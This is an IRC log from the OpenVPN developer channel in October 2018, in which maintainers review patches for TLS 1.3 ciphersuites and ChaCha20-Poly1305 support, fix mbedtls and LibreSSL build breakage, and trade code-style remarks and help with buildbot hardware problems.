<@plaisthos> syzzer: my private tree, the other ones should not affect it. I can resend a version that is directly on master if that is better 09:15 <@syzzer> plaisthos: yes, please - there seems to be something in between that git am doesn't like 10:00 <@plaisthos> syzzer: I have a define that is larger than 80 10:01 <@plaisthos> (#if defined(ENABLE_CRYPTOAPI) || (defined(ENABLE_CRYPTO_OPENSSL) && defined(ENABLE_MANAGEMENT))) 10:01 <@plaisthos> that is allowed? 10:10 <@cron2> yes, with \ continuations (IIRC) 10:11 <@plaisthos> well never mind, I will keep it for now 10:12 <@plaisthos> the next patch in the series removes the CRYPTO_OPENSSL bit. 10:14 <@syzzer> that's good enough :) 10:15 <@plaisthos> +disable_tls13_if_avilable(struct options *o, const char* msg) 10:15 <@plaisthos> dang 10:16 <@syzzer> :') 10:28 <@cron2> my mailbox is exploding 10:28 <@plaisthos> I am fixing my patches styles before ordex and syzzer yell at me for it 11:06 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:36 <@plaisthos> ~. 13:32 <@cron2> ah 13:33 <@cron2> I *thought* I had seen the Replace ENABLE_CLIENT_CR with ENABLE_MANAGMENT before... 13:33 <@cron2> it was sitting in my mailbox since 10 Dec 2015... *sigh* 13:37 <@cron2> with a comment from Selva, which wasn't addressed... *lalala* 13:42 <@syzzer> ... and the comment is quite accurate 13:42 <@syzzer> ah,you mentioned it again in the applied mail 13:42 <@cron2> yep. merged anyway, but added a comment in the "patch applied" mail, so someone can pick it up... 13:42 <@cron2> right 13:43 <@syzzer> yeah, better keep moving :) 13:43 <@cron2> not a show-stopper, but room for further improvement :) 13:43 <@cron2> trying to make sense out of my mailbox is a bit complicated right now... 13:44 <@syzzer> hehe, yeah 13:44 <@syzzer> I tried to keep patchwork up to date 13:44 <@vpnHelper> RSS Update - gitrepo: Remove MANAGMENT_EXTERNAL_KEY, MANAGMENT_IN_EXTRA, ENABLE_CLIENT_CR <https://github.com/OpenVPN/openvpn/commit/66b9409bb25402c1bfcd66359332792cf57d0825> || interactive.c: fix usage of potentially uninitialized variable <https://github.com/OpenVPN/openvpn/commit/d1f0e2cf83c378b4064f316a2127c7a3d7c6ca21> 13:44 <@syzzer> with marking patches as superseded while reviewing stuff 13:45 <@cron2> yep, noticed & appreciated that :) 13:50 * cron2 excercise his privilege as most senior refuser of patches adding (cast) things... 13:51 <@syzzer> hehe, I was wondering whether you'd do that - I was about to do it myself... 13:52 <@cron2> I should just let patches linger longer... ;-) 13:52 <@syzzer> but decided to leave the verdict to you, since I've been nagging enough 13:53 <@cron2> do you want to send an explicit ACK on v4 TLS 1.3 --show-tls? Or shall I take the ACK on v3 provided v4 only changes formatting? 13:54 <@syzzer> ah, either works for me 13:54 <@syzzer> what you prefer 13:54 <@cron2> in that case I just compare patches and take the ACK 13:54 <@syzzer> perfect 13:55 <@cron2> and then I need to find a machine with 1.1.1 for testing :) 13:55 <@syzzer> I should probably polish my build scripts some day 13:56 <@syzzer> switching openssl versions is just a rebase-and-rebuild for me now :) 13:56 <@syzzer> or, not actually rebase, but rather checkout 13:57 <@cron2> nice 13:58 <@cron2> gentoo has 1.1.1 but do not provide an option to install 1.0.2 and 1.1.1 both 14:03 <@syzzer> just looked, but the scrips are really to big a mess to share as is *-) 14:03 <@cron2> mmmh. while I'd love to apply this patch, it needs the --tls-ciphersuites patch first... and that one has no ACK, I think 14:04 <@syzzer> no? 14:04 <@syzzer> I thought I ACKed it 14:04 <@cron2> oh, it has 14:04 <@cron2> my mailbox is a mess 14:04 <@cron2> but patchwork is good 14:05 <@syzzer> this was the "conditional ack for v3", then plaisthos sent a v4 that should contain the fixes but didn't 14:06 <@cron2> yep, but the *other* v4 has the fixes 14:06 <@syzzer> oh boy :') 14:13 <@cron2> *sigh* 14:13 <@cron2> building with 1.1.1 fails because configure decided to do the "do we have EVP_PKEY_get0_EC_KEY and friends?" vs. 1.0.2, it seems, and now I have duplicate definitions 14:14 <@cron2> argh, mistyped the "-L" path, so it didn't error out, just ignored my directions 14:23 <@cron2> library versions: OpenSSL 1.1.1 11 Sep 2018, LZO 2.10 14:23 <@cron2> so 14:34 <@syzzer> cool, looks like simon is really making progress with his MSI stuff! 14:43 <@vpnHelper> RSS Update - gitrepo: Add support for tls-ciphersuites for TLS 1.3 <https://github.com/OpenVPN/openvpn/commit/ea4ee31333a0cddb5c8dd4185f9426df13c76947> 15:14 <@syzzer> ah, there we go, we broke libressl again 15:15 * syzzer ignores and carries on 15:48 <@cron2> oh. So sorry... 15:48 <@cron2> (as a side note: fixed IPv6 to ftp.openssl.org in the process :-) ) 15:53 <@cron2> oh wait. my nice buildslaves are all red again (well, "all openbsd 6.0, that is", but still) 15:56 <@syzzer> yeah, that's the libressl fallout 15:56 <@syzzer> it *might* compile against a newer libressl 15:57 <@cron2> I *might* be bothered to upgrade the OpenBSD buildslave (or install a newer one for testing) 15:57 <@cron2> but *now* I'm going to finish brushing my teeth and go to bed :-) - last push for today 15:59 <@syzzer> oh, exciting, what patches would we get... 15:59 <@cron2> sourceforge is slowwwww right now, seems you won't get any :) 15:59 <@cron2> ah 15:59 <@cron2> it finished accepting my push! 16:00 <@syzzer> whee, chacha20-poly1305 support complete now :) 16:00 <@syzzer> good night! 16:01 <@cron2> yep, good night and sweet dreams about chacha :) 16:03 <@vpnHelper> RSS Update - gitrepo: List ChaCha20-Poly1305 as stream cipher <https://github.com/OpenVPN/openvpn/commit/447997dd83400bffc05db65a91f659dc87b4a367> 16:11 <@dazo> my day got completely spoiled by other urgent tasks ... tomorrow I'll be mostly offline, but might get a chance late in the evening ... Friday I'll allocate better for community 16:46 <@plaisthos> syzzer: did I broke libressl? 16:46 <@plaisthos> syzzer: It did not even try to break it ... 18:31 <@ordex> yeehaaa 18:31 <@ordex> plaisthos: I had seen your sins already !!! good that I had no internet connection :D 18:31 <@ordex> also in a patch acked by syzzer there is still a style mistake --- Day changed Thu Oct 11 2018 01:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:00 <@cron2> ordex: yes, that style mistake is fixed by v4 of the *next* patch. See my comments :) 02:01 <@cron2> syzzer: we have some new breakage, though, which looks like you (though I have no idea why) 02:02 <@cron2> opensolaris fails "make check" selftest 02:02 <@cron2> Wed Oct 10 23:25:26 2018 Cipher 'DES-EDE-ECB' mode not supported 02:02 <@cron2> Wed Oct 10 23:25:26 2018 Exiting due to fatal error 02:02 <@cron2> -n Testing cipher DES-EDE3-ECB... 02:02 <@cron2> FAILED 02:03 <@syzzer> *ECB* ? blech 02:03 <@cron2> no sure why it is trying these *now*, and why it is failing *now* 02:04 <@cron2> it's the mbedtls build on opensolaris, which did *not* fail before yesterday... 02:04 <@syzzer> I did refactor the cipher listing a bit, so sounds like my fault 02:04 <@syzzer> in the chacha patches 02:04 <@cron2> oh, it fails on linux as well 02:04 <@syzzer> okay, looking into it now 02:04 <@cron2> I tried openssl with full "make check including t_client" and openssl 1.1.1, but seems I did not properly test mbedtls 02:05 <@cron2> sorry for not testing properly (I *did* look at "--show-ciphers"...) 02:08 <@syzzer> gah 02:09 <@syzzer> I did this correctly for the !insecure ciphers, but forgot the extra checks for the insecure ones... 02:09 <@cron2> my wife is looking over my shoulder and laughing loudly at the "gah" :-) 02:10 <@syzzer> well, I'm glad that I've been of assistance :p 02:14 <@syzzer> ah, of course, I didn't spot it because the mbedtls 'make check' is still broken, so I ignored travis failures... 02:14 <@syzzer> this is why build failures should get top-priority. 02:15 <@syzzer> and of course, because I'm too stupid to write correct code in the first place 02:15 <@cron2> oh, the cmocka fails 02:15 <@cron2> right :) (on the "top-priority for build/check fails" part) 02:20 <@syzzer> fix sent :) 02:24 <@cron2> so the basic requirement for a cipher is "must be aead or cbc", and then we further differenciate into "secure" and "insecure"? 02:45 <@syzzer> cron2: correct :) 02:46 <@syzzer> I considered merging the two, but just wanted to get the fix out 02:48 <@cron2> oi 02:49 <@cron2> shouldn't only send the ack, but maybe also call push... :) 02:54 <@vpnHelper> RSS Update - gitrepo: mbedtls: don't print unsupported ciphers in insecure cipher list <https://github.com/OpenVPN/openvpn/commit/4ada4a7d8b3db7ae9722624d745c220fef4c77fd> 02:54 <@plaisthos> this raymond carter is not helping :P 02:55 <@plaisthos> syzzer: don't we also support ctr ciphers? 02:58 <@plaisthos> we need to rewrite the SWEET32 article 02:58 <@plaisthos> it says that if you are brave enough you can compile 2.4 from master to get NCP 03:01 <@plaisthos> I removed most of that: https://community.openvpn.net/openvpn/wiki/SWEET32?action=diff&version=8 03:01 <@vpnHelper> Title: SWEET32 (diff) – OpenVPN Community (at community.openvpn.net) 03:15 <@plaisthos> but I'm no longer wasting my 03:15 <@plaisthos> time on the LibreSSL version/API compat mess. 03:15 <@plaisthos> :) 03:15 <@plaisthos> seem syzzer has snapped :P 03:17 <@syzzer> plaisthos: no, we don't do CTR ciphers 03:17 <@syzzer> we could, but we don't 03:19 <@plaisthos> ah okay, thought we did at some point 03:19 <@syzzer> plaisthos: and yeah, while ripping out the 1.0.1 workarounds, I realized that we probably would still need those if we'd want to support libressl, and then got all depressed :p 03:20 <@syzzer> so I decided to be clear about he amount of libressl support I'm delivering 03:20 <@plaisthos> Yeah but then again, LibreSSL is nowaday a different library 03:20 <@plaisthos> and we never promised to support it 03:20 <@syzzer> yes, that :) 03:20 <@plaisthos> if you want to have openvpn you need to have openssl or mbed tls 03:21 <@plaisthos> openbsd does not get any special flower treating 03:27 <@cron2> did I miss a mail? 03:27 <@syzzer> I think plaisthos has been looking at my github repo :p 03:28 <@plaisthos> yeah :) 03:28 <@syzzer> https://github.com/syzzer/openvpn/commit/fd4a7b32fabbdb4b143d9cec747ec9fc8084dda0 03:28 <@vpnHelper> Title: Require OpenSSL >= 1.0.2 · syzzer/openvpn@fd4a7b3 · GitHub (at github.com) 03:28 <@plaisthos> I have syzzer repo as remote in my repo and saw the commit and took a look at it 03:28 <@syzzer> I wanted travis to succeed before I sent any patches 03:29 <@plaisthos> syzzer: btw. could add some style advice? :P 03:30 <@plaisthos> ssl_openssl.c line 560ish, after your removle it is now: 03:30 <@plaisthos> cleanup: 03:30 <@plaisthos> return; 03:30 <@plaisthos> :) 03:30 <@plaisthos> you should remove those two lines too 03:30 <@syzzer> I should 03:30 <@syzzer> thanks 03:31 <@cron2> this "your style sucks!" dialogue between you two is entertaining :) 03:33 <@plaisthos> I saw a once in a lifetime chance :P 03:33 <@syzzer> :D 03:36 <@plaisthos> hm Pixel 3 is out 04:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:02 <@ordex> buildbot is exploding ? 05:14 <@cron2> only openbsd 05:15 <@cron2> (and "all mbedtls builds" but that was fixed) 05:17 <@ordex> ok 05:18 <@ordex> it seems like my latest sitnl code built and did not throw any error 05:18 <@ordex> cool 05:45 <@plaisthos> Only 12 patches left in my local branch :P 05:58 <@cron2> if each of them creates 50+ mails on the list again, I need a vacation 06:02 <@plaisthos> cron2: I acked the (unsigned int) change since we have a loss of precision going from size_t to unsigned int 06:03 <@plaisthos> so the cast might be needed to silence another compiler warning 06:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:04 <@ordex> why not running buildbot on private branches *before* sending them to the ml, so they can be fixed before cron2 loses all his hair ? 06:04 <@ordex> not a good idea? 06:04 <@plaisthos> ordex: I only heard of the private buildbot repository last hackathon 06:05 <@ordex> oh ok 06:05 <@ordex> we only need to coordinate because multiple tests at the same time can create panic 06:14 <@cron2> plaisthos: but then it might be the wrong data type to start with. These are all very local things - agreeing on a single data type for the whole path should be easy, and maybe it should have just been an "int" or "unsigned int" in the first place 06:15 <@cron2> if a cast is needed to hide a warning, adding the cast might just be the wrong thing to do 06:15 <@cron2> like, "we just mix time_t and 32 bit ints, and if a platform warns because time_t is 64 bit there, just silence it with a (time_t *) cast..." - leading to funky failures on sparc64, and no single compiler warning... 06:16 <@cron2> had to debug this in amanda, to figure out why all time stamps were 1.1.1970... 06:17 <@cron2> in this particular case: we're dealing with a function that returns something between "0" and "100". So using a size_t initially (64 bit) to hand this to an unsigned int (32 bit) and adding a cast to silence the compiler warning feels like the very wrong way to approach this 06:23 <@plaisthos> and now all that is Lev's problem somhow *ducks* 06:23 <@cron2> he's the one who insists on using MSVC... he made it his problem :-) 06:41 <@plaisthos> yeah, I know the feeling. I had to fix all the Clang errors for my two platforms with Clang (Android and Mac OS X) before anyone else used Clang 06:58 <@plaisthos> cron2: And I think all the patches are already on the maling list (apart from one android specific (breakpad)) 07:03 <@plaisthos> travis is broken for one of my mbed TLS builds but the error is so weird: 07:03 <@plaisthos> It cannot find #include <mbedtls/cipher.h> 07:25 <@syzzer> plaisthos: fix is already on the list 07:25 <@syzzer> waiting for review & push 07:55 <@plaisthos> syzzer: do you have subject for me? 07:55 <@plaisthos> I seem to have missed that one 07:55 <@plaisthos> then I can do the review & test 07:58 <@plaisthos> hm also not in your github according to my client 07:59 <+lev__> plaisthos: I believe it is "[PATCH] Fix mbedtls unit tests" 08:00 <@plaisthos> ah that is probably a different fix 08:00 <@plaisthos> will test nonetheless 08:02 <@syzzer> what lev says :) 08:03 <@plaisthos> That patch looks good, although that is a mess to review. But I will wait for Travis before sending out the ack ... 08:22 <@cron2> seeing "const unsigned int" in a parameter also gives me eye hurt... 08:30 <@plaisthos> why? 08:31 <@plaisthos> if it is too long you can shorten it to const unsigned *ducks* 08:36 <@cron2> what good is the "const" part there... I can see a pointer to a const being an indication "this memory address must not be modified", but what good is a const int? 08:36 <@cron2> it's a call by value... 08:37 <@plaisthos> same as const int = 123; in the function itself 08:37 <@plaisthos> if you try to modify it or take a pointer from it, the compiler will scream at you 08:44 <+lev__> all those "frame_add_" functions in mtu.h have "const" modifier for parameters. I am not dure why, but decided to follow the style 09:03 <@syzzer> lev__: yeah, that const is a bit silly 09:03 <@syzzer> but since we have them lets indeed keep it consistent 09:09 <@plaisthos> in C++ you see those const a lot more 09:48 <@cron2> syzzer: the "fix mbedtls unit tests" is fully "master only", right? 09:49 <@syzzer> cron2: yes 09:49 <@syzzer> the bug is master-only too :p 09:49 <@cron2> let me see if I can see the test failure somewhere, so I can verify the fix... 09:50 <@syzzer> https://travis-ci.org/OpenVPN/openvpn/ 09:50 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 09:54 <@cron2> mmmh, this is funny 09:54 <@cron2> it does not fail here 09:55 <@cron2> ah 09:55 <@cron2> you need to have mbedtls installed in a non-default place, which I avoid for my buildslaves 09:56 <@syzzer> ah, yes 09:56 <@syzzer> otherwise the system includes/libs will just be picked up 09:58 <@syzzer> arne did a travis-test: https://travis-ci.org/schwabe/openvpn 09:58 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 10:00 <@cron2> where does travis report test failures to? 10:03 <@vpnHelper> RSS Update - gitrepo: Fix mbedtls unit tests <https://github.com/OpenVPN/openvpn/commit/b081038c7464f7a916560b4a71ebc83537a84b9d> 10:08 <@syzzer> I get mails from travis if I break something 10:09 <@cron2> if you push, or for all failed builds? 10:09 <@plaisthos> basically the same if it is your own repo :) 10:09 <@plaisthos> so no idea here 10:09 <@syzzer> for my private repo I get mails for all, for the openvpn one, I think only when it has determined it was my fault 10:10 <@ordex> probably the last commit author gets notified when something breaks 10:13 <@cron2> interesting 10:13 <@cron2> so maybe I should start breaking things myself again, instead of just being your merge slave :) 10:15 <@syzzer> yes, polease! 10:19 <@ordex> /home/buildbot/build-openvpn/build-cron2-openbsd-60-amd64-stable-master/build/src/openvpn/ssl_openssl.c:477: undefined reference to `SSL_CTX_set_ciphersuites' 10:19 <@ordex> :O 10:20 <@plaisthos> who?! 10:20 <@cron2> you! 10:20 <@plaisthos> how?! 10:20 <@cron2> AnnoyingSSL 10:20 <@plaisthos> is that LibreSSL?! 10:20 <@cron2> yes 10:20 <@plaisthos> So it claims to be compatible with OpenSSL 1.1.1 10:21 <@cron2> I think it sets OPENSSL_VERSION to 2.0 or something silly like that 10:21 <@plaisthos> Which hasn't been even out by the time 10:21 <@cron2> which bites us every time 10:21 <@cron2> "we do more than OpenSSL, so we have a higher version number!!" 10:21 <@plaisthos> I am with syzzer. We don't support LibreSSL anymore 10:21 <@plaisthos> that is just silly 10:21 <@cron2> yes 10:22 <@plaisthos> We have all macros in place to support the well defined older OpenSSL interfaces 10:22 <@cron2> I'm willing to take patches, but if it breaks, it breaks. We do not test against LibreSSL before merging 10:22 <@plaisthos> maybe we should add a macro 10:23 <@plaisthos> #define TEST_OPENSSL(ver) (!LIBRE_SSL || OPENSSL_VER >= ver) 10:24 <@plaisthos> by setting openssl version that high they beg for being broken when you add functionality for newer OpenSSL versions 10:25 <@plaisthos> Or maybe #if defined(LIBRE_SSL) #undef OPENSSL_VERSION #define OPENSSL_VERSION 1.0.2 10:25 <@plaisthos> :) 10:25 <@cron2> *snigger* *like* 10:26 <@cron2> if only for imagining the shitstorm this will trigger 10:26 <@plaisthos> add a comment (//this is set to the API that LIBRESSL actually supports instead of claiming to support) 11:02 < vectr0n> any updates on getting ubuntu 18.04 on the build.openvpn.net apt repo? 11:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 13:14 <@vpnHelper> RSS Update - gitrepo: options.c: fix broken unary minus usage <https://github.com/OpenVPN/openvpn/commit/ed31cf2ab718d879615dea81e6a17d26537ab43a> 13:20 <@cron2> For TLS 1.3 and newer (--tls-ciphersuite): 13:21 <@cron2> that option is called tls-ciphersuite*s*... 13:21 <@cron2> these youngfolks doing reviews and coding today... 13:23 * ordex facepalms 13:27 <@cron2> ordex: see, this is what happens if you hide in airplanes! 13:27 <@cron2> but besides this, I'm confused about the usage of --tls-ciphersuites, tbh 13:28 <@cron2> "what is it that I'm supposed to pass to it"? If I call "openvpn --tls-ciphersuites TLS_AES_256_GCM_SHA384 --show-cipher 13:28 <@cron2> it will log 13:28 <@cron2> For TLS 1.3 and newer (--tls-ciphersuite): 13:28 <@cron2> Thu Oct 11 20:25:41 2018 us=292094 No valid translation found for TLS cipher 'TLS_AES_256_GCM_SHA384' 13:28 <@cron2> TLS_AES_256_GCM_SHA384 13:28 <@cron2> TLS_CHACHA20_POLY1305_SHA256 13:28 <@cron2> "what"? 13:28 <@cron2> TLS_AES_128_GCM_SHA256 13:38 <@ordex> syzzer: I can't apply tls-crypt-v2 7/7 from the ml - I think it conflicts with other recent changes 13:38 <@ordex> .-. 13:49 <@ordex> plaisthos: now you have something else to review ! 13:52 <@cron2> are you flooding my mailbox again? 13:53 <@ordex> less than the buildbot spam you got because of plaithos 13:53 <@ordex> :P 13:56 <@vpnHelper> RSS Update - gitrepo: Add better support for showing TLS 1.3 ciphersuites in --show-tls <https://github.com/OpenVPN/openvpn/commit/7aeabadd69fca0071152c42d58fee0b565f01eb3> 13:57 <@cron2> yeah, the openbsd buildfails are a bit annoying 13:57 <@cron2> maybe I'll just install openssl 1.1.1 there and have buildslave use that 14:02 <@cron2> ordex: was the old set of netlink patches still in patchwork? 14:03 <@cron2> the list hasn't grown but the order seems changed 14:03 <@ordex> cron2: I have marked them as superseeded 14:03 <@cron2> ok, thanks 14:03 <@ordex> np 14:03 <@cron2> I'll call it a day for today, more merging tomorrow 14:04 <@ordex> I should sleep too :S 14:04 <@ordex> good night 14:19 <@vpnHelper> RSS Update - tickets: #1127: openvpn-status.log is empty <https://community.openvpn.net/openvpn/ticket/1127> 14:29 <@plaisthos> ordex: Yeah I saw it 14:30 <@plaisthos> cron2: ouch :/ 14:34 < tincantech> dazo: I have a question about centos if you have any spare time ? 14:45 <@ecrist> !ask 14:45 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, or (#2) http://www.latinsud.com/answer/, or (#3) http://www.catb.org/~esr/faqs/smart-questions.html to learn how to get help 14:49 < tincantech> ecrist: i am trying to fix my centos7 buildbot after the big melt-down and the question has nothing to do with openvpn so i thouhjt it polite to "ask to ask" first .. 14:50 <@ecrist> just ask 14:50 < tincantech> ok .. 14:53 < tincantech> i cannot get dracut to generate a new initramfs .. it cannot find the /lib/modules/dir (even though the correct dir exists) and so I have been reading all about dracut and grub2-mkconfig and grubby but I cannot get a straight answer anywhere 14:54 < tincantech> so the question would be how do i tell dracut where the dir is and why can't it find it .. dracut appears to be looking for the wrong dir 14:54 <@ecrist> Did you get all your data off that system? 14:55 < tincantech> yes .. did not lose discs only MB + PSU 14:56 <@ecrist> so, you weren't able to just plug it all back in to new MB and PSU? 14:57 < tincantech> i don't have the right equpi for a straight swap .. i used to but my backup sys dies some time ago 14:58 < tincantech> i "desktop" died so now i have a "Laptop with ESATA drive" 14:58 < tincantech> my* 14:59 < tincantech> unfortunately converting VM-VHDs from .vhdx(hyperv) to .vhd(vbox) has rendered some VMs VHDs incompatible 15:00 < tincantech> i fixed them all except centos7 .. 15:03 < tincantech> dracut is looking for "/lib/modules/3.10.0-327.el7.x86_64 15:05 < tincantech> it should be looking for "/lib/modules/3.10.862.11.6.el7.x86_64" 15:05 < tincantech> this is running under the "built-in" recovery console 15:06 < tincantech> when i boot from a recovery cd it actually looks for the wrong dir altogether 15:07 < tincantech> it then looks for "/lib/modules/3.10.862.el7.x86_64" .. no ".11.6" bit 15:08 < tincantech> i'm sure i'll figure it out but I thought maybe dazo could give a hint ;) 15:09 < tincantech> or anybody feelin' generous :) 15:10 < tincantech> i probably "can't see the wood for the trees.." 15:12 < tincantech> an there is all the fun of a badly configured keyboard .. 15:31 < tincantech> cron2: (et al) my arch linux buildbot is back online so expect some more spam .. sorry 15:31 < tincantech> laptop fan in blow dry mode .. 15:33 < tincantech> I may have to lose the gentoo buildbot as well .. 15:40 < tincantech> the ESATA drive means my laptop does not keep over heating .. finally ! fan is much calmer than before 16:15 <@plaisthos> cron2: Let me double check that sounds like I mixed up the arguments somewhere 17:00 < tincantech> ecrist: looks like i am also losing a disk .. *bad sector fiesta* 18:17 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 252 seconds] 18:55 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel --- Day changed Fri Oct 12 2018 01:25 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 01:26 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:28 <@cron2> *sigh* hardware... 01:31 <@cron2> (I was wondering why I had nearly no mail this morning... this why, mail server had issues talking to his disks... and when poking it, it crashed completely) 01:45 <@plaisthos> cron2: does my patch answer your question or should still respond to your mail? 01:47 <@cron2> plaisthos: haven't seen anything yet :-) - mail server is back up, but remote sites are slowish in retrying 01:53 <@plaisthos> ah okay 01:54 <@plaisthos> cron2: tl;dr I screw up by always calling the function to set the tls-cipher in show-tls 02:02 <@cron2> so --tls-ciphersuite is doing the right thing, just not in the --show-tls context? 02:11 <@cron2> ah, now I see the patch 02:12 <@cron2> "makes sense" :-) - will test later. Have to do a phone call now, then to the airport, meeting there, back home... 03:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:43 <@plaisthos> cron2: I think you can review+ack that patches without syzzer ack 04:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:39 <@dazo> tincantech: sounds like you could try booting a newer kernel 04:39 <@dazo> (sorry, I was mostly offline yesterday) 04:39 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:34 < tincantech> dazo: nevermind .. i though this might be a little bellow your level ;) -- I'll figure it out but have a thick head cold so can't think right 07:00 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:40 < tincantech> dazo: centos fixed .. change from hyperv to vbox required "dracut --kver etc.." 08:58 <@cron2> re 09:07 <@plaisthos> cron2: weclome back 10:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:35 <@vpnHelper> RSS Update - gitrepo: Use right function to set TLS1.3 restrictions in show-tls <https://github.com/OpenVPN/openvpn/commit/680117529ededd94b1d56867f8d834aa5daa2b95> 10:56 <@cron2> I think I might just install openssl 1.1.1 on my openbsd buildslave... 10:56 <@cron2> (since we *do* support OpenBSD) 13:50 < tincantech> when openvpn is in "Restart pause, 300 second(s)" mode it is not possible to kill -1 $PID it 13:55 <@dazo> tincantech: SIGHUP when waiting for a reconnect kind of makes some sense though .... as we use SIGHUP to reread some of the config stuff, the SIGHUP signal should just be waiting until the next event loop cycle where it won't down-prioritize that signal 13:58 < tincantech> ok .. but you cannot send any signal (excep -9) as far as i can tell .. i guess i have to configure it better 13:59 < kitsune1> Acting on SIGHUP right away would be better UX, wont it.. I believe the GUI sends SIGHUP when user presses "reconnect" which will not respond for long if the above is true.. Never tried it during the long 300 sec wait though.. 14:00 < tincantech> no, i never tried it in the GUI either 14:00 < kitsune1> sleep is interrupted by signal (at least on unix/linux) so the signal must be getting registered. What openvpn does with it (queues it or acts on it right away) is a different matter. 14:01 <@dazo> Just looked for SIGHUP handling ... it shouldn't be any places where that is ignored, except if it is going to connect to a new remote and UDP with --explicit-exit-notify is enabled 14:01 < tincantech> it is only a slight inconvenience because i know i can configure it better 14:02 < kitsune1> But does it register it and goes back to sleep and act on it after the sleep expires or does the SIGHUP restart right away? 14:03 < tincantech> it does not take any action "right away" .. hence my post 14:03 <@dazo> I'm fuzzy on the event loop details, but I don't think we depend on sleep() (which triggers SIGALRM) at all, the code tries to do some other stuff in between until the next scheduled time slot 14:04 <@dazo> now, on the server side that makes sense ... as that's how you get more clients traffic passed in between ... on the client side, it's not too much extra work needed to be done 14:05 < kitsune1> looking at the source: it calls management_sleep() which is just sleep() unless management is defined which is not the case always. 14:05 <@dazo> yeah, that's a different code path ... but an important detail on the config indeed 14:06 <@dazo> tincantech: you enable the management interface? 14:06 < tincantech> er no .. considering the last round of "security" complaints ;) 14:06 < tincantech> i could tho 14:06 < kitsune1> But in either case on unix the signal will get registered -- if its sleep it gets interrupted, if its management_sleep the event loop explcitly checks for signal every now and then.. 14:08 <@dazo> yeah 14:09 < kitsune1> So I suppose it just doesnt act on the signal until the wait interval is completed.. 17:37 <@dazo> blood* h**l ... git am is playing games with me .... third time I'm doing a very careful rebase ... and I'm still hitting this odd behaviour: 17:37 <@dazo> * c00b25ef - argv: do fewer memory re-allocations (2018-10-13 00:32:16 +0200) 17:37 <@dazo> * 1823002d - re-implement argv_printf_*() (2018-10-13 00:29:20 +0200) 17:37 <@dazo> * 39094045 - argv: do fewer memory re-allocations (2018-10-13 00:22:17 +0200) 17:37 <@dazo> * 0c66e718 - re-implement argv_printf_*() (2018-10-13 00:00:16 +0200) 17:38 <@dazo> how is this duplicating really happening!?!?! ..... 17:39 <@dazo> these patches are adding quite some resistance to get fixed 17:44 < kitsune1> Assuming git diff 1823002d 0c66e718 shows up empty, why not rebase and drop those duplicates? Or that doesn't work? 17:49 <@dazo> they're quite different .... but seem to introduce some duplicated code as well .... but I've reordered and merged them and cleaning up the dups 17:49 <@dazo> After all I am rebasing patches approx 1 year old on top of latest master 21:38 <@ordex> dazo: it might be that one patch was the rebase on top of the newer version and it contained some leftover code 21:38 <@ordex> no ? 21:38 <@ordex> why are they 2 otherwise? 21:46 < vectr0n> any updates on getting ubuntu 18.04 on the build.openvpn.net apt repo? 21:56 <@ordex> vectr0n: I think the firt chance will be with the next release 21:57 < vectr0n> okie thx for the update :) i will keep an eye out for it --- Day changed Sat Oct 13 2018 03:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:14 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:57 <@cron2> ecrist: I wonder how complicated it would be to add flavours to the openvpn-devel port - one for "build with system openssl" and one for "build with security/openssl111" 03:58 <@cron2> I'd like to have a binary package for "give me openvpn with openssl 111", but I do not want to force that dependency on everyone - thus, flavours might be an answer... 06:04 <@ordex> should I worry about the failure reports I got from tincantech's builders? 06:05 <@ordex> they have been offline for quite some time, so I guess they got something wrong (?) 06:23 < tincantech> ordex: i had a PSU failure .. and had to rebuild a new system 06:23 <@ordex> argh 06:23 <@ordex> what a pain 06:23 <@ordex> :( 06:23 < tincantech> also, as you use gentoo do you need a gentoo builkdbot ? 06:23 < tincantech> yeah .. it was a horror show ;) 06:28 <@cron2> ordex: if it's stuff like "the C compiler exploded right in the middle of a compile" (out of memory), just ignore it 08:09 <@cron2> OpenBSD autoinstall disk layout is... stupid 08:10 <@cron2> like, "too-small /usr, and then upgrading fails with disk full"... 08:10 <@cron2> I'm so spoiled by FreeBSD and zfs... never again "this partition is full while that other partition has space left" 09:34 <@ordex> let's see what the buildbot said.. 11:05 <@ordex> syzzer: did you find the reason why 7/7 does not apply? :( 12:49 <@cron2> let's see... server test setup should do OpenSSL 1.1.1 builds now on Saturdays... 13:31 <@cron2> ... and so it does :-) 19:06 <@ecrist> cron2: it wouldn't be that hard. 19:06 <@ecrist> just some of my time, which is short these days. --- Day changed Sun Oct 14 2018 01:46 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:26 <@cron2> ecrist: if you can put it on the long list of things you'd like to do when time, that would be appreciated :) 05:03 <@ordex> this time cron2 's build failed! :P 05:18 <@cron2> working on it 05:19 <@cron2> buildslave on obsd60 should now use OpenSSL 1.1.1, but I had messed up a symlink, so the openbsd upgrade 6.0->6.3 overwrote OpenSSL's include directory 05:20 <@cron2> OpenVPN 2.5_git 